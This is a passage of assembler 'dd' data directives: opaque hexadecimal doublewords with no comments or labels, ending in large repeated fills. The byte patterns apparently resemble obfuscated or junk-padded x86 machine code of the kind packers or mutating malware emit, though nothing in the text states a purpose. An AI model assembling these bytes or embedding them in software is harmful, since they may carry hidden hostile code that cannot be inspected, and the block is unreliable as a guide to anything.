0CA8B0000h, 60E880F9h, 0EE9h, 4EA25200h dd 3CC8A546h, 0ADAFBC1Bh, 0FC4690Ah, 0B2F5C9B7h, 9E920h dd 0A0D50000h, 640012CFh, 665DB220h, 2074D781h, 0BA665060h dd 0F5BB002h, 0D8Bh, 7E800h, 6EC00000h, 0CA40A000h, 52615A94h dd 639DBA66h, 0E953B659h, 6, 0D2D8217h, 13E9AE52h, 0A000000h dd 45AC2F6Ch, 161E21D0h, 0EFBE86A0h, 0A6A8CB54h, 8A0F9802h dd 0 dd 8E9h, 366B1500h, 0E3E68226h, 97C18008h, 908ECE81h, 0CA812BB7h dd 189CE51h, 50E18166h, 840FA4h, 0F000000h, 0BE8CFBFh dd 7B000000h, 0BFC54373h, 0A46EDCC7h, 6E85999h, 36000000h dd 147985ECh, 58F78B8Ah, 5E9F858h, 8F000000h, 2BA876CDh dd 5E9h, 74FEC400h, 800F477Fh, 5, 0E415FBBAh, 0FE92Fh dd 4CBA0000h, 5B34D34Bh, 0D46661Dh, 0D4B99D7Dh, 9E97Fh dd 40260000h, 0B2545810h, 0B6161C69h, 6648B796h, 8A66AFB8h dd 0FFB8BD0h, 128Dh, 7E800h, 40EE0000h, 41268708h, 0E3816689h dd 815B7A3Eh, 4AB1ABE0h, 52E88049h, 5836B350h, 820Fh, 0F600000h dd 38Dh, 0F7B70F00h, 61D38B66h, 7E8F9h, 722F0000h, 0E0AB889Bh dd 6E9606Dh, 0DA000000h, 70AC4C15h, 6161604Bh, 12E85Bh dd 74650000h, 7E5AD9FCh, 0E620587Ch, 0F5E8C891h, 0CF417438h dd 0EE857h, 14130000h, 7B41E8D4h, 9E956524h, 7218BFF0h dd 665E5E5Bh, 0B70FD88Bh, 0E91AB3D3h, 12h, 4F03D01h, 0D76BD4B5h dd 0B41C6792h, 87E3F30Dh, 0FE8B4F9Bh, 14E8h, 83B9A200h dd 0B78B4823h, 0EA998701h, 0E4D9DE77h, 4AEECC25h, 0DB6BBF84h dd 0F5F377Ah, 0CE9FFBFh, 3F000000h, 91BF3F0Bh, 0CFDF6987h dd 0F9912E5Bh, 12C38166h, 11800FECh, 0E8000000h, 9, 0E7481F52h dd 0C8D7B183h, 5B6160FEh, 0FCFB70Fh, 781h, 80BA5300h, 5B348FD2h dd 66F9D780h, 0E9B61ABAh, 9, 283793h, 3BBCA79Ah, 9E909h dd 1DB90000h, 76C8DF8Ch, 0E9AC387Dh, 11h, 28B11ADBh, 1985CCCAh dd 160696AEh, 9BE51318h, 0EF81F595h, 5A90CBD1h, 0FF38B66h dd 0A87h, 5E900h, 0F71E0000h, 0F2C5003h, 989h, 3890F00h dd 66000000h, 60F9F28Bh, 8B6141B4h, 19DDBFCAh, 0D38B1131h dd 11E899B2h, 0A1000000h, 2F5AACCh, 0F787BF85h, 0FAFD6642h dd 0F22DF9DDh, 2840Fh, 14B50000h, 0E9D98B59h, 0Bh, 0FBC05537h dd 75E56D1Bh, 8BF05F62h, 5880FD1h, 0BA000000h, 5FD39F4Fh dd 5F51BF66h, 0BE8h, 12BA5800h, 0A0E171Dh, 3DB8A28Ch, 0D5D18166h dd 14E95BF0h, 7F000000h, 0BB1B1978h, 21556E8Fh, 0BA6E5AA9h dd 594F4BC8h, 0FAB4549h, 14E8DAB7h, 0C3000000h, 36E62F86h dd 23BBEFEBh, 0E2DE5E80h, 3F484709h, 5AD4A6D2h, 14880Fh dd 0FE90000h, 0B9000000h, 84FDE05Bh, 9914A692h, 5873A2A9h dd 8B66C9E1h, 0BCE8BBF9h, 0B96651E8h, 0B9F9E7A0h, 6726A401h dd 0E88A6160h, 0BBE714B8h, 12E850h, 40A30000h, 167EB477h dd 8C5F2C0h, 0E2B5E292h, 5088BA2Eh, 890F57h, 58000000h dd 0E9816658h, 12E9D34Ah, 48000000h, 34ECD775h, 407D8E02h dd 48442CC1h, 257F2292h, 0D78B6675h, 97C38166h, 0DABF0FACh dd 0DE9h, 0B1D3F600h, 67CF9B07h, 0FBD90F73h, 66605B02h dd 2CBBC18Bh, 617D08DEh, 12880Fh, 0DE90000h, 26000000h dd 984CA1CCh, 0C7DD10ABh, 0C94F3B0Ah, 12E9h, 68A25C00h dd 3D3CEABCh, 1EC6281Dh, 23B46A6Dh, 0E93B69CBh, 0Eh, 0D6AB66D8h dd 0DA736421h, 4F3FDBAFh, 0ACBB9D8Dh, 0F683FBAh, 680h dd 39F28100h, 0E9289B0Ch, 11h, 0C46BF375h, 0DFA7538Bh dd 0A2A8277Dh, 5EBB1C7Ch, 14E867h, 410000h, 0D84F64FDh dd 9FE06D2Ch, 1288E47h, 0FC67B212h, 0CB806D42h, 12E95AF6h dd 0B3000000h, 0B58D574Ah, 0A29061E3h, 0A97C2514h, 8A02186Fh dd 0F3EF8127h, 5027AF78h, 6658C0B3h, 81E6CABFh, 48B3E6E9h dd 9578BE46h, 0CE961B7h, 88000000h, 0E6E93AA7h, 0C566DA58h dd 0E91C9764h, 0Eh, 47A9E4ADh, 36D9F028h, 99242FB4h, 810F9DD9h dd 5, 58FAFCBBh, 0D7B70F38h, 8C0Fh, 9E80000h, 0DC000000h dd 0F1853425h, 0FA84A50Ah, 0EE95Bh, 79690000h, 136D7120h dd 0F7C896E8h, 97DF81FDh, 8E8h, 0EA2C7F00h, 0F8EC1B4Ch dd 53EB81AEh, 585D4F2Fh, 13840Fh, 0EE90000h, 0FF000000h dd 64E25B53h, 0EAD0883Ah, 84A3D108h, 0CBE28168h, 0F4377CBh dd 0F280DEBFh, 9E989h, 0B1130000h, 63666047h, 80C4405Ah dd 0BA6667D4h, 0BF0F8BF1h, 0F5D08BF6h, 13E951h, 0FE780000h dd 0F9464AC0h, 0D1A3FC0h, 8A07EA89h, 73E43F8Ah, 7E95B5Ah dd 0AC000000h, 27D7E63Eh, 0DE9D1A2h, 97000000h, 19B5A3D0h dd 0B4EA17Eh, 8E74BFBCh, 0BE8h, 0E54B0E00h, 80CC5743h dd 1732B8A1h, 0BBDA8166h, 0D0815A4Ah, 270F8DC7h, 0FB9B660h dd 580h, 0C6816600h, 66615E2Ch, 8E8DF8Bh, 7C000000h, 95B2E80Fh dd 0B8CD4885h, 294BB84Bh, 0B966FC5Fh, 0BF66F7B8h, 665255E7h dd 0E959F28Bh, 9, 0BDF2E84Fh, 9AB52A75h, 0EE81663Ah, 0EE98752h dd 0D0000000h, 0BE10A15h, 0CD561CA9h, 0B131F4D7h, 0FE9F9B5h dd 0CD000000h, 2E9B4813h, 0DDB169D1h, 0DE8E253Eh, 0B9F93912h dd 327BC6EDh, 0EE8h, 8B7E2300h, 176140DDh, 86A14642h, 0F8153EDh dd 0F5EC0BFh, 684h, 35E78100h, 666B84FAh, 8BC5A0B8h, 81DE8BF2h dd 62BB8FEBh, 3B86660h, 8BD68B10h, 816060F0h, 109DCEAh dd 0E3E7815Bh, 610113C3h, 5CC78161h, 0B6460BFFh, 1DEB81D2h dd 600A9D5Ch, 9BC38166h, 59536198h, 830FC18Ah, 4, 2315BA66h dd 0C800Fh, 860F0000h, 6, 860Fh, 0B70F0000h, 13E9CAh, 12A20000h dd 430E8ED5h, 5C881676h, 5C2F9C2Fh, 903DE104h, 0F95360EEh dd 58536159h, 5E8h, 0C602BC00h, 8B66AE10h, 8D0F5FDFh, 28h dd 0BE8h, 31C26200h, 4EBED7B7h, 0C8321B8Ah, 12E9h, 1A051600h dd 5E6F3F3Bh, 70E8AF3h, 0C013852Eh, 5F6D3FC9h, 0B2C6B70Fh dd 2870F3Dh, 0B6000000h, 0EF81668Dh, 14E901ABh, 0A6000000h dd 7B428A4Fh, 5CE3DA6Fh, 98814C78h, 0FC0B0EC6h, 0F07D286h dd 8B66F9B7h, 98D0FCBh, 0F000000h, 38Ch, 0F7BF0F00h, 66D0BF0Fh dd 8D0FD38Bh, 11h, 0CE9h, 708F7D00h, 10D8F314h, 0D21EC580h dd 0C081668Fh, 840FB6A9h, 6, 0B8D9DE81h, 0AE97A23h, 0F5000000h dd 3A79F363h, 0B8D2514Bh, 0B8F28BCDh, 4E9C6A31h, 5BD78166h dd 88B86624h, 0A1D680E9h, 66F08B66h, 0E25BC081h, 8B6692B1h dd 8E8C8h, 31250000h, 0EBEB1290h, 5BF5D242h, 5BBBB756h dd 94B8E3B7h, 0F7D6577h, 789h, 81665600h, 5E628FE3h, 6658D480h dd 0E9E192B8h, 0Bh, 7DD0B112h, 0CE43E6E2h, 66EDE664h, 50E09EBFh dd 0BE9h, 0ABC40B00h, 1D0C8D8Ch, 8B266121h, 3093B85Ah dd 0C28029A6h, 0C0816653h, 0CB81953Dh, 7EE1317Ah, 61FB8B60h dd 7E9h, 14573B00h, 291AE398h, 11E9h, 7EE54C00h, 0B87382D5h dd 6827BD04h, 0FAC6FCCBh, 0BF66F848h, 0B0601696h, 6ABB60DBh dd 611550F6h, 0DBB86661h, 66D78B54h, 0BA3382BEh, 3ED328E2h dd 51A5CB81h, 0CA8B332Ch, 0EE9h, 0AE4AB800h, 407212C1h dd 67C11D6Ch, 0E976D105h, 5, 0C6DA043h, 0FBB70F7Dh, 8E8h dd 82819600h, 0EF7F0C67h, 0EE84Fh, 0B71A0000h, 6A92C0F6h dd 9199ACE3h, 0F3425219h, 6E9h, 0EDA0C300h, 5A89CFFDh dd 0C850F5Eh, 0E9000000h, 7, 572A5FFCh, 81429AEDh, 0C52975EEh dd 0F1B70F4Bh, 0E9F38B66h, 11h, 0D0A030ACh dd 1E42FF32h, 0A3DB8371h, 54D1D316h, 9E845h, 239A0000h dd 0D17684D1h, 0E9A21901h, 0Ch, 0D4AE67C4h, 0ECE8D98Ah dd 445B9DD7h, 0DA81665Eh, 0F60EAB2h, 0E860F8B7h, 0Bh, 0E0A2640Ah dd 0A4A6A2FAh, 5B7B07D1h, 816161F8h, 0D867ACEAh, 23A6BE59h dd 0E58A7613h, 14E9h, 66478700h, 3EDA0068h, 282C2584h dd 163AF23Fh, 0D0ABD8E4h, 80CF8B97h, 0EE81B9CFh, 749EC7F3h dd 13E8h, 523FC800h, 460024F8h, 13BA3BF7h, 7FE1B68Fh, 0C25946AAh dd 59D7B70Fh, 8B66B6B6h, 0AE9C6h, 43250000h, 85F0A417h dd 28BB5A5h, 2880Fh, 0A1B60000h, 6E9h, 0E8BB2600h, 0F7A4EEEh dd 0ABBAC2BFh, 0BE12DA2Bh, 2982B59Ah, 18C0Fh, 0BEF80000h dd 23AB5974h, 47BECB81h, 8B661218h, 0B7BBBAFEh, 11E93F2Eh dd 9D000000h, 85736592h, 82030986h, 67BC13E1h, 40938F16h dd 6AB5BFBFh, 0EE846h, 0EDEE0000h, 38B77CEBh, 7BB8D006h dd 95AAEC2Dh, 0EE8h, 58225500h, 0AD767896h, 721FBCEBh dd 6692DC2Bh, 5859F88Bh, 4EBECF8Ah, 0F81599EFh, 0B15AE881h dd 60534351h, 7E9h, 0CCD8EF00h, 9E763BB3h, 0F38B5F61h dd 4017B966h, 98D0Fh, 8B0F0000h, 3, 0E9C8B70Fh, 0Bh, 1AF641BDh dd 14C9170Eh, 0FC6D41Ah, 1287h, 0DE900h, 0B9B40000h, 4C65E55Dh dd 7D12DA9Ch, 0F9E29BCh, 89h, 38F0F00h, 0F000000h, 8B66C2BFh dd 0D38B66F9h, 6AD68166h, 0E0B7BEEDh, 0BF661A06h, 11E8E9ABh dd 6A000000h, 3D8DEFEDh, 0A2718F64h, 925E6C2Bh, 0B0665FE8h dd 2820Fh, 0F18B0000h, 0CEBF0F5Bh, 606074B7h, 0BE9h, 0C1C1F00h dd 0C4705FE2h, 477F74FEh, 6661C18Bh, 61DCB4BAh, 11E8h dd 0CBC19900h, 2D2F7387h, 0FF3F4B58h, 4BE69A09h, 7E87B7Dh dd 99000000h, 7271BFDFh, 5B525C7Dh, 60605F59h, 6161F9F5h dd 12E8h, 73D6BD00h, 5FA3324Ch, 4288EC8Bh, 3733B681h, 59640F48h dd 82B9D78Bh, 664FE78Bh, 7B04F181h, 10E9F08Bh, 0EF000000h dd 0C0CC179Bh, 51780708h, 70D90241h, 0B778BA7Eh, 50D08168h dd 66292ADDh, 81ED50B9h, 0F209CFF6h, 12E848h, 0C4420000h dd 35A350C0h, 0C5CDACD7h, 9C46C759h, 15D05994h, 7E9h, 7380EE00h dd 944ADE36h, 8EF6805Fh, 0DE9h, 6396C500h, 0A45CCF0Ah dd 0DA05D6A7h, 0B70FCC01h, 60DC8AC1h, 3788BE66h, 29CCC681h dd 56615138h, 18A0Fh, 5AFC0000h, 4D12C381h, 0BF0F604Ah dd 4840FD7h, 66000000h, 66CB88BEh, 66EB18B9h, 0DE8D08Bh dd 6B000000h, 415DFD1Bh, 0A8660796h, 0F7D963FBh, 6870Fh dd 880F0000h, 0 dd 8E95Bh, 6A6A0000h, 7CE3BAABh, 0E9F8BECFh, 10h, 615BA846h dd 0BBF2A698h, 400D5BC4h, 8CB9A531h, 8E8h, 8180EC00h, 0AE518F44h dd 0DE91Eh, 0AA000000h, 0E5ABABE1h, 1E9A51E3h, 5FD8C399h dd 0FFBB70Fh, 178Fh, 12E900h, 1F640000h, 63270E6Ah, 3BAF3A65h dd 55AD6B2h, 2ADA4456h, 7EEBB966h, 6E860h, 0F8C80000h dd 8036F9Ah, 0F5586160h, 56DF8B61h, 14890Fh, 0EE80000h dd 87000000h, 497FD651h, 5B5DFFF3h, 51A93604h, 665F5AA0h dd 0CAB9F78Bh, 81733D0Fh, 27F769C9h, 4AB4BA1Eh, 0DE9173Ch dd 32000000h, 81FF87F7h, 5CDC1D49h, 86F23323h, 11E9h, 92470300h dd 7AB77EB7h, 81C01BF0h, 17F02684h, 66500DCBh, 0F959D78Bh dd 0E1EF5CBEh, 66595359h, 0C3BEA81h, 8F24BE53h, 0F5873DFh dd 283h, 0FC88B00h, 0DE81C3BFh, 0AA39508h, 870FDE8Bh, 0 dd 0DE9h, 0D00CCA00h, 4FFB044Eh, 72EE8489h, 850FC644h dd 0Ch, 6880Fh, 8E0F0000h, 0 dd 1FB9F18Ah, 0B1487086h, 0FCD1B0F8h, 0EE8h, 0F2FA9000h dd 0A6E544A7h, 0F75CF0E5h, 66A71181h, 5258D98Bh, 5FD78B66h dd 8BC28B66h, 0FC18BF1h, 285h, 8BD88B00h, 0FF08ACEh, 0E681D7BFh dd 1DD034ECh, 0F7816652h, 8B5E086Ch, 0D3BB66D1h, 7E9CBh dd 0FA250000h, 25E81835h, 0EA816608h, 81666CC2h, 0FF754EEh dd 0A8Dh, 4800F00h, 66000000h, 66E60EBAh, 0C205F781h, 7C38166h dd 0E800FCBh, 0E9000000h, 9, 3DF3C73Ch, 9E822E7Ah, 2820FC7h dd 8B000000h, 8B6651F0h, 8C0F5AFEh, 10h, 0BE9h, 0ABDE3900h dd 0ED44EFEEh, 2F3DC619h, 10E8h, 3E160400h, 0C2CDA3A8h dd 5FEF8F22h, 8C8EC367h, 0AAB866E6h, 0CB958DBh, 51667345h dd 0B95A28B6h, 7140F2A9h, 8B6645B5h, 0F08B66F0h, 0DE9h dd 71060B00h, 48CD819Bh, 8E6B8D85h, 0FF85244h, 0F53C8BFh dd 86h, 870F5A00h, 5, 0CB176B8h, 0D78B666Ch, 0E98FC980h dd 11h, 0BF5AD058h, 110EACC2h, 0B887AAF6h, 10981B28h, 0EA8166C0h dd 0E9F594DAh, 8, 65676130h, 99F06836h, 0C9C78166h, 0FB8B66CAh dd 0E9DFBB66h, 0B70FF4B3h, 13E8D3h, 27C30000h, 33FDC9DEh dd 0ACEA0CA4h, 9AF2DFF6h, 9675B1F1h, 79B95B13h, 8174820Ch dd 925351F7h, 80CE8B46h, 820FABC7h, 3, 5730DD80h, 81F2BE60h dd 0F58028E0h, 0E95A6125h, 0Fh, 0FD432BD7h, 0F5A03BF5h dd 98BF7080h, 520793A4h, 5E9h, 0ABC02500h, 605AC098h, 66F1B70Fh dd 0D619C981h, 11E861h, 0D4250000h, 8347DA9Bh, 6021BA51h dd 673366B0h, 5A19E057h, 0F5E2BE50h, 665A0D91h, 9FB6CE8Bh dd 0E9C3BF0Fh, 10h, 0FBACA562h, 5DCDD457h, 0F320EB11h dd 3A5FCCA4h, 0B70F6060h, 860FFEh, 61000000h, 0BE666061h dd 0C3816CA3h, 7244C346h, 0DE861h, 0EFC20000h, 0CC19C368h dd 2F6F3602h, 0E9E4F769h, 10h, 0BACA461Dh, 7E4B89ECh, 0C0F5E0E3h dd 5E060EDBh, 6E959h, 9AD10000h, 0F5DFAF9Eh, 8425BEFCh dd 10E81B6Dh, 0C8000000h, 446035B2h, 0C1B826BCh, 2808CBF4h dd 0F32D78Bh, 285h, 5AC88B00h, 60C38B66h, 860Fh, 0AEB90000h dd 614E9E31h, 0AE9h, 4C109400h, 3EEE9859h, 6668F4B0h, 662164B8h dd 0BE66CA8Bh, 8B6626E5h, 58D0FC1h, 66000000h, 29BDF081h dd 0DF816660h, 8B669FDFh, 5E861D1h, 34000000h, 0FC95B346h dd 0CE815BFCh, 520E4F44h, 66D8BF0Fh, 8E9D38Bh, 98000000h dd 6533CC58h, 60AA07CAh, 0CE9FCh, 35FE0000h, 39CF2DC4h dd 0B77F2485h, 66613BC5h, 0BAE5C2B8h, 17D931CBh, 38B0Fh dd 8B660000h, 0EFC880C1h, 0B9C18B66h, 4547B4CDh, 0F83F780h dd 87h, 7E800h, 67B20000h, 0A66D42FCh, 61BB66FDh, 8B665EC7h dd 70B866DEh, 0D3816643h, 0BE9CF4Ch, 81000000h, 0E24048D2h dd 0FE84194Bh, 8166C434h, 0FF666CFh, 48Bh, 0BDB86600h dd 0FE8E8h, 4E6D0000h, 0D0DD6BFh, 0B8A048B2h, 8C62F0ABh dd 0E38166BAh, 0B15F13C3h, 36BF663Ah, 11E95390h, 0B7000000h dd 916AF8B8h, 1678B684h, 0B005A40Ah, 37003B95h, 0D95DBA5Bh dd 0E960196Bh, 13h, 0B568A150h, 6B7BCE50h, 4EAE01ACh, 9454FA3Ah dd 80D85131h, 80618DF1h, 0F98B3DCDh, 60FCF5FCh, 4AE4AABFh dd 58536103h, 0E9FA8B66h, 10h, 65C88403h, 34FDD031h, 5780F25Dh dd 0E22AF003h, 0DE8599BFh, 0E9816629h, 0B70FD977h, 7DCB80FEh dd 14E9h, 9DDCEC00h, 96298442h, 283A045Fh, 0E6AA9F0Dh dd 3380AE1Bh, 0D78B66D9h, 10E9h, 40010600h, 0ECB71025h dd 6D1A1F14h, 3D52A2AEh, 6FBE66C3h, 0F52F524h, 0B05EDBBFh dd 7E947h, 5CFA0000h, 43F9DB61h, 3FCD808Bh, 0E8DE8B66h dd 0Eh, 0BD7BA8E6h, 1FB13B44h, 0FD3188D1h, 800F1E6Bh, 1 dd 9BA5AFCh, 661800E5h, 3210E681h, 0B870Fh, 8B0F0000h dd 5, 0C1E28166h, 40CA804Fh, 10E8h, 0BFCD4E00h, 0B1BF1F1Fh dd 0C4B7F85Bh, 40BA36A7h, 34F78164h, 5960EF9Ah, 3870F60h dd 0F000000h, 6160D2B7h, 13E961h, 2EF50000h, 0E9F2DC0Bh dd 0DFDB8F6Eh, 41292981h, 0A16FA8AAh, 0AE9CDh, 0A7E00000h dd 64FF04C2h, 4857DF41h, 0DFEDBF66h, 74BFFA8Ah, 6038B472h dd 28CA8166h, 2AB9663Fh, 0B160618Dh, 0E7816012h, 75A212A1h dd 870F6161h, 0Bh, 5860Fh, 3BE0000h, 8A38486Ch, 7E9F5h dd 0F2EA0000h, 4F4F9137h, 0F18BF59Dh, 73E98160h, 0B42CC334h dd 0F78B61B6h, 0C881C78Bh, 7BBFA4E0h, 5E957h, 68FE0000h dd 5A923F08h, 0DE9h, 82151800h, 747AC333h, 639A741Bh, 0BA66E16Eh dd 0B70FC9DDh, 13E9C1h, 0DB180000h, 4AFF6AE6h, 93F545FBh dd 86B97F86h, 0ACB2EB5h, 8225BE47h, 49B42090h, 6691B460h dd 6061D38Bh, 61CF8B66h, 8BC18B66h, 14E9CEh, 0E740000h dd 306D7C49h, 51D7001Bh, 0AC1F646h, 2D563C15h, 0DE817099h dd 44E7D084h, 0E8E4CA80h, 0Fh, 0E01F3AB5h, 29921951h, 0F4D90E84h dd 8A5685C3h, 0AE959C2h, 0F7000000h, 0BC41C3D0h, 0A859BC8Dh dd 880F5774h, 5, 9B149BBEh, 0CE95A77h, 28000000h, 0B436D9F0h dd 0D999242Fh, 80F43D9Dh, 0BF0F82E9h, 0C880F9C9h, 0BE9ABh dd 0AFB90000h, 0EC74D5C0h, 6A75FDC3h, 0A7F080ACh, 81665957h dd 0F9002EDEh, 0D071C8BEh, 7E813h, 77130000h, 0B38D5D11h dd 830F0Ah, 5E000000h, 0B8C78B66h, 323A7CD1h, 8E9h, 22118200h dd 0A73ECFFCh, 12E85140h, 28000000h, 38723A16h, 909DCABBh dd 83DBA38Eh, 0BE032505h, 0ADC680C2h, 840F5A59h, 3, 66CECC80h dd 526FE9BFh, 926ECB81h, 605F0818h, 0D42CBB66h, 13E9h dd 0CC824400h, 0AABB58FDh, 361D6B6Ah, 0F61C8D0h, 59915907h dd 17840F61h, 57000000h, 0FE8h, 32617500h, 963B13E6h, 6CFD449h dd 58BC564Dh, 0CF81585Bh, 5650728Fh, 2B6EF681h, 0EE82687h dd 93000000h, 0ED73CD3Ah, 960B189Eh, 4644F259h, 10BE6643h dd 5E858C3h, 2E000000h, 0E854DE78h, 14E9h, 9EAA2700h, 0BBA0417Fh dd 0AEB28392h, 57D7D639h, 916F9890h, 0D08A5917h, 2CCE81F5h dd 81188C7Dh, 0C1BEFDE9h, 0E9C0B13Ah, 6, 2535B99Ch, 0B866A2B3h dd 0BF6604E5h, 0F28B32D2h, 3890Fh, 8B660000h, 3810FF2h dd 66000000h, 0B70FD38Bh, 0F78B66C6h, 664EE680h, 81FA5BB8h dd 0F7BCF3CEh, 7E81Fh, 378A0000h, 93EB3A99h, 5A02B63Ch dd 10E8h, 0BFCD4E00h, 0B1BF1F1Fh, 0C4B7F85Bh, 40BA36A7h dd 0CE964h, 8B400000h, 710952Fh, 11CF7530h, 665995C5h dd 0FA40EF81h, 595F5752h, 1347BB66h, 0AAE98166h, 3820F98h dd 0F000000h, 0F60F7BFh, 487h, 15BB6600h, 0EE903h, 86D80000h dd 0DBFB80A6h, 0A3494FBBh, 0B2E80F7Ch, 68C0F61h, 81000000h dd 72F1E9D3h, 17880F44h, 0E9000000h, 12h, 0B03FF6CCh, 0A3AC0D8Fh dd 5B7F58F1h, 6F54737Eh, 66600B5Dh, 61CF2CB8h, 8B6662B5h dd 522CB1C8h, 0F5A93B6h, 787h, 38B95200h, 5F13A55Bh, 7C8DF181h dd 0E8F54B29h, 12h, 6BA23167h, 2B92B315h, 50B8DFBCh, 6D589F8Bh dd 0CA80B7F4h, 0D88A594Dh, 0E98DC780h, 0Ah, 7B4A7FC1h dd 74E1FD97h, 0B8664398h dd 0BF0FC89Dh, 0C8B70FD7h, 0BBF9D381h, 81660998h, 6674C3E6h dd 7E9D38Bh, 0EB000000h, 0EB14288Bh, 0B9669BA5h, 0B966DE93h dd 860FDFF6h, 8, 66616060h, 61C6ADB8h, 0A37DBB66h, 38CA8166h dd 800FF3h, 0F000000h, 8B66D9BFh, 84CF81D9h, 0F347187h dd 880FCABFh, 8, 870F53h, 5E000000h, 1CE5BE66h, 0E8EA8166h dd 0FCB8B23h, 1889h, 128A0F00h, 0E8000000h, 0Ch, 641D2181h dd 0DFCAAD6Fh, 0F81A3066h, 4822BA5Ah, 0F38A35E7h, 0CE9h dd 0C7FC5A00h, 54F633h, 8BAAA216h, 0C2C28149h, 663DBD47h dd 6656D38Bh, 85B9E081h, 2F40B858h, 0DE8B7BB6h, 0B70FF5B2h dd 12E9F6h, 8B6E0000h, 1456956Dh, 104B1BC9h, 29BA893Dh dd 3E6D6A3Ch, 0EE81FC60h, 3D770931h, 0D1CB8161h, 0E9559942h dd 10h, 0E6964EF2h, 9509A03Fh, 5257994Ah, 8945F780h, 890F5B56h dd 1, 51EA80F8h, 8993E181h, 816605E3h, 0E96933C6h, 13h dd 2A6C97B4h, 0BA3CD946h, 0B91CDA6Eh, 0FA1377B5h, 0FCCFCF13h dd 4870Fh, 0BF660000h, 66F56246h, 0AD1DDB81h, 12E9h, 0BB443D00h dd 628C4AE6h, 30227D90h, 2159806h, 0F9D1E365h, 8B6660F9h dd 0AE8C1h, 0C51F0000h, 0A79F0013h, 991A332Bh, 2AA3E281h dd 6159494Fh, 16D28166h, 0B6F08AFFh, 0A0CF818Bh, 0E91FCE35h dd 10h, 48877A4Ch, 0EAE498FFh, 4BA77F94h, 964B61ACh, 0BF0FDE8Bh dd 0F57F9CEh, 1584h, 0FE800h, 0B3C30000h, 0C94AE5E0h, 741C27A1h dd 0B679795h, 0F595807h, 284h, 5388B400h, 7E8h, 65E11C00h dd 0BD81EBC0h, 605858F9h, 0CE9h, 0E9653000h, 192DD69Fh dd 64601586h, 0C8F0F80h, 0E8000000h, 6, 0DF03949Eh, 615B3FF9h dd 9E40C281h, 816644D4h, 0B04BEEE7h, 0F6B0BFB1h, 0FFC427Fh dd 386h, 58FC5300h, 9FDE8166h, 31B866A1h, 0CE97Eh, 0F63D0000h dd 3CDB9E6Eh, 7BD98F3Ch, 0D681905Ch, 5E6DF000h, 6870F60h dd 81000000h, 922BADE0h, 0DE816607h, 66612B9Bh, 0E9BEDA8Bh dd 0F003536h, 48Fh, 68B96600h, 4830FBDh, 66000000h, 8B5561BAh dd 0F60FCD3h, 689h, 8D0F00h, 61000000h, 13820Fh, 0EE90000h dd 0C3000000h, 0C3DACFF8h, 7A9B3493h, 9148591Ch, 28C0F5Ah dd 8B000000h, 52C381FAh, 56582387h, 0F595857h, 10E8D1BFh dd 0A000000h, 0A803CFF7h, 437EAB8Eh, 0BABF42E6h, 66ED778Fh dd 58523DB9h, 18A0F50h, 0F5000000h, 0CE95Ah, 0C34A0000h dd 0F3843C03h, 11758AC8h, 9E99833h, 1D000000h, 5805BC79h dd 40E11133h, 5E9h, 4CDA7E00h, 8E88F6Bh, 1B000000h, 90F43875h dd 0F4A2CDFh, 28Eh, 5E67B400h, 38B0Fh, 0D5800000h, 810FEEh dd 0BB000000h, 7A29B59Fh, 8F009EBAh, 10E97Ch, 8DD50000h dd 0F37889BBh, 2C9F7F7Ch, 0DFFC920Ah, 0BA602BF8h, 47C3AF8h dd 61CAB70Fh, 0B2C1BF0Fh, 0BE5B5042h, 6C848B90h, 7E8F5h dd 0E8DA0000h, 7A19E9D7h, 7AB866C2h, 94BB580Bh, 0E86BC28Ah dd 0Eh, 0C671EB10h, 539A84C5h, 62011884h, 5BF89873h, 0EE8F9h dd 39EF0000h, 1770A865h, 4C8C3C4Bh, 0D9593F95h, 3DD68150h dd 587CF17Fh, 4DBF6658h, 8890FC5h, 52000000h, 880Fh, 0E85E0000h dd 0Eh, 659CEDD9h, 7ACC519Dh, 0AF49A07h, 0BE9A3AAh, 49000000h dd 0EAAF0324h, 0B5E0A3CDh, 665F0358h, 608DB0B9h, 38A0Fh dd 0CF800000h, 0C2BF0FD6h, 80BB6661h, 10E87Ah, 40700000h dd 7E4537Ah, 0D8F7BDD4h, 0C4425D04h, 0D38B50C0h, 0E081665Fh dd 10E9C60Eh, 63000000h, 39570609h, 0A5190ABDh, 994116D1h dd 808FCE5Ch, 860F45CBh, 1Ah, 14810Fh, 0FE90000h, 0D9000000h dd 30CB3C18h, 1890D789h, 5476413Dh, 17B65980h, 0E9CA8B66h dd 0Ah, 4396E534h, 573F333Eh, 816072A8h, 17DCAEBh, 5FF95779h dd 0E8816661h, 10E808BDh, 0B4000000h, 79635B32h, 2FB6D54Ah dd 303E6E56h, 60FDE7C2h, 0BF0F6160h, 0F5861CEh, 8E9C8B7h dd 8C000000h, 0CEBE5755h, 0BA55CF79h, 145DE515h, 0FCBB70Fh dd 487h, 61605000h, 2830F5Ah, 0B7000000h, 5BBA603Fh, 0E95AC3D7h dd 0Bh, 0DAAED532h, 6B20F3DCh, 61916E13h, 3800Fh, 0BF0F0000h dd 1F890FC0h, 0E8000000h, 0Ah, 0C2638E50h, 0C439DC68h dd 0AE952B1h, 0E9000000h, 0E910174Fh, 9765BE5Ch, 11E95837h dd 9C000000h, 1875FB9Ah, 0B23D7B28h, 38562198h, 66BA04DFh dd 0BDD480F5h, 0F8CFBF0Fh, 8890Fh, 8F0F0000h, 2, 2ABE5A53h dd 0E94F9043h, 6, 44A8097Dh, 0DAB652C4h, 60FAB70Fh, 0AE960h dd 7E8E0000h, 4FF69C48h, 95A243DAh, 8DC19BBAh, 5E96117h dd 19000000h, 4A9158C3h, 6E861h, 0FB4E0000h, 0E1BDC699h dd 0E95EE58Ah, 5, 0B1B52BD1h, 0D18B60F1h, 0EE961h, 1CE80000h dd 2D89B667h, 0C8B28D02h, 0D1B24CF3h, 66C88B66h, 0E9EE56BAh dd 10h, 0BE833E13h, 0A3A72742h, 52387302h, 0F8F2656Bh dd 0F1CA8166h, 0D68B6698h, 0FE8h, 0D8DCF900h, 62939133h dd 0BD27789Dh, 118D7B58h, 0F78B6660h, 0EE9h, 9145CF00h dd 0C799DA2Dh, 4D16F506h, 6111A4E6h, 0E8FA8A5Bh, 13h, 8A521152h dd 7B0FA517h, 0FAAAABFAh, 7086BA24h, 0F832585h, 8Fh, 0EE815900h dd 438590C5h, 0B8D98166h, 0C7B70F84h, 4CBFB966h, 66F18B66h dd 8C0FD68Bh, 4, 0D19FBB66h, 3B30D981h, 0B70F774Dh, 2850FDBh dd 8B000000h, 0C9B70FF9h, 0CE9h, 4EBED700h, 0C8321B8Ah dd 6F5B7E73h, 69BB663Ah, 9EDD21F3h, 0E8h dup(9EDD2188h) dd 0C7DD2188h, 48Ah dup(0C73E4CA9h), 0BAE64CA9h, 1B3h 